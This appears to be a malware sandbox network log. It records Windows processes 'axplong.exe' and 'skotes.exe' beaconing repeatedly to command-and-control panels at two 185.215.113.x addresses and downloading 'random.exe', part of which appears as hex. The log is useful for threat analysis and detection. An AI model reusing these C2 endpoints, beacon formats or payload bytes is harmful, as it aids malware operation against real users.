Nov 1, 2024 12:34:56.245578051 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:57.164954901 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:57.165726900 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:57.454190969 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	50039	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:57.042437077 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 34 36 35 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000465031&unit=246122658369
Nov 1, 2024 12:34:57.960295916 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	50040	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:57.575038910 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:58.479876995 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:58.482640982 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:58.789625883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	50043	185.215.113.16	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:57.968741894 CET	55	OUT	GET /soka/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:34:58.929322958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:58 GMT Content-Type: application/octet-stream Content-Length: 1933824 Last-Modified: Fri, 01 Nov 2024 11:31:21 GMT Connection: keep-alive ETag: "6724bc09-1d8200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 9a 01 00 00 00 00 00 00 30 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PJr>r>r>=r>;(r>]:r>]=r>];r>:r>?r>r?^r>7r>r><r>Richr>PEL@f0L@`LC@WkLL @.rsrc@.idata @ +@kxpzlyinp1f@ryespbnx L\@.taggant00L"`@
Nov 1, 2024 12:34:58.929337978 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:58.929352045 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:58.929367065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:58.929383039 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 12:34:58.931587934 CET	336	IN	Data Raw: c8 8c 98 01 08 78 81 7f d9 10 51 3e 78 3c 2f 4e db bb 2c 20 d5 c9 42 09 da 57 1f ae 3e 9b cd 16 39 e4 ae fe 64 e6 97 5d c1 e8 52 b3 7c 3f 9f 12 3d 7c 3a 26 18 fc 9e 00 5c d6 50 1a ca 9c 3b ff f7 c8 fe 66 3c 33 0b 00 c5 e7 20 fd c8 08 e5 67 1c c7 Data Ascii: xQ>x</N, BW>9d]R\|?=\|:&\P;f<3 g/;fA28S<11j<~:Xu( 3NV\|Q[]OnA<R;H :-AP@EBh!>X Y/a 52( lJ
Nov 1, 2024 12:34:58.931603909 CET	1236	IN	Data Raw: 78 07 63 fe e1 bb 4e 42 11 d9 8a 12 cb 57 20 ae c1 9b 62 99 79 42 7f fe c0 e4 38 6e 38 3c 3f bc 01 7b 69 a8 99 ba 2e 22 e6 dc 6d 00 49 c9 b1 e9 10 38 37 6a d9 da 4a 0d fb f7 2f ce cd 3b 6f 90 61 c8 c2 0a 42 d7 16 2e fd 97 72 63 59 78 51 9a ca 7c Data Ascii: xcNBW byB8n8<?{i."mI87jJ/;oaB.rcYxQ\|=7QR01 (B^2ZX/s?=D&8>{<B= 2 aNF/.qRxA=*x/$/nhKFq<1Z({xV}6#r
Nov 1, 2024 12:34:58.931617975 CET	212	IN	Data Raw: 70 c7 b3 9f 7c 1e 6f 99 47 4a b1 ed e7 0a fb d4 7b b9 34 52 c4 86 12 34 a1 d5 c0 ab e6 1b 26 68 5e 79 6a 60 88 ee 14 2e 4c 94 2f 52 bf 46 76 81 fb 4a a0 48 95 6c 1f 27 0f 21 7b a4 4b 30 55 6e 4b 24 5f e6 95 67 ff 8b bf a0 79 b7 04 0e 82 ec ff 79 Data Ascii: p\|oGJ{4R4&h^yj`.L/RFvJHl'!{K0UnK$_gyy?Bm@yBZ{3#s HfJYE\ 32J<&(KNP4;;b.6]6'6)X =!
Nov 1, 2024 12:34:58.931629896 CET	1236	IN	Data Raw: e5 0d 8f b5 df 3e 1f 92 62 ac 49 be 7d f1 20 50 39 05 2f aa 12 41 68 df 5d 2d a7 1f 49 03 ee 20 1c 20 2f 26 6f eb 4a ee 49 00 13 e8 48 d8 95 df 45 1d 07 e8 9d c0 9f 36 0b 88 5f ea 72 47 f6 99 0f 37 e1 e4 bf 94 4a 28 58 87 1e ba f4 5c 15 0c be 68 Data Ascii: >bI} P9/Ah]-I /&oJIHE6_rG7J(X\h<xxOAjP:HeD><e.>biSV$;J\|afo+".i[\Ry(.=Od+}Z3>F,_"a}$rIIDB'=Yn
Nov 1, 2024 12:34:58.931643963 CET	1236	IN	Data Raw: 76 30 98 4f db c7 f6 e8 51 97 13 53 d7 87 dc 72 01 8c ef 00 da e6 4e 23 eb 93 21 c6 db 5c 5b 9b 81 f9 97 17 06 a4 be 17 c1 28 68 1d 55 36 4b 02 54 de 1e 19 d2 a3 15 36 f9 20 33 4c cf 8e 80 64 b8 2d 97 82 96 4e 68 93 e5 e8 94 da b8 bb 4d 62 94 ab Data Ascii: v0OQSrN#!\[(hU6KT6 3Ld-NhMbyj'd`.V;@5;V;- k0S#~VZi.B jU9;FVs<~*9VoI(hd\1\|RBQC\[na>+4;!-TLAJ,B
Nov 1, 2024 12:34:58.936978102 CET	1236	IN	Data Raw: 16 17 f9 a1 34 b5 15 c6 73 ea 44 c8 e4 21 67 3c d8 b8 76 ce bd a0 e9 56 93 ba e2 0e 8f 3d b1 e0 1b 0f 79 e0 f9 07 23 4e b3 90 4f 6e 09 73 c3 75 1f 0e c1 0b 69 14 d4 c6 ec 0c 9b 7b 36 9c 9b ab fd 44 51 2a cf 3d 0e 01 d3 ff 1b 16 35 6b 1a 6b 17 08 Data Ascii: 4sD!g<vV=y#NOnsui{6DQ*=5kkZa`9ER<DfK"s(Ynna3!5n-%">t/6x\|A0!$g:-/Y`)=L%h`\Md}C85lyKw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	50044	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:58.905390024 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:59.822832108 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:59.826030016 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:00.114073992 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	50046	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:00.233584881 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:01.144407988 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:01.149363041 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:01.443883896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	50048	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:01.560137987 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:02.469990969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:02.472825050 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:02.759330988 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	50050	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:02.876617908 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:03.805174112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:03.809964895 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:04.099493027 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	50052	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:04.217784882 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:05.134069920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:05.176589966 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:05.474690914 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	50053	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:05.598411083 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:35:06.512887001 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:35:06.517002106 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:35:06.802512884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	50054	185.215.113.43	80	2912	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:06.668097019 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 31 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1001698001&unit=246122658369
Nov 1, 2024 12:35:07.603583097 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	50056	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:35:06.922127962 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
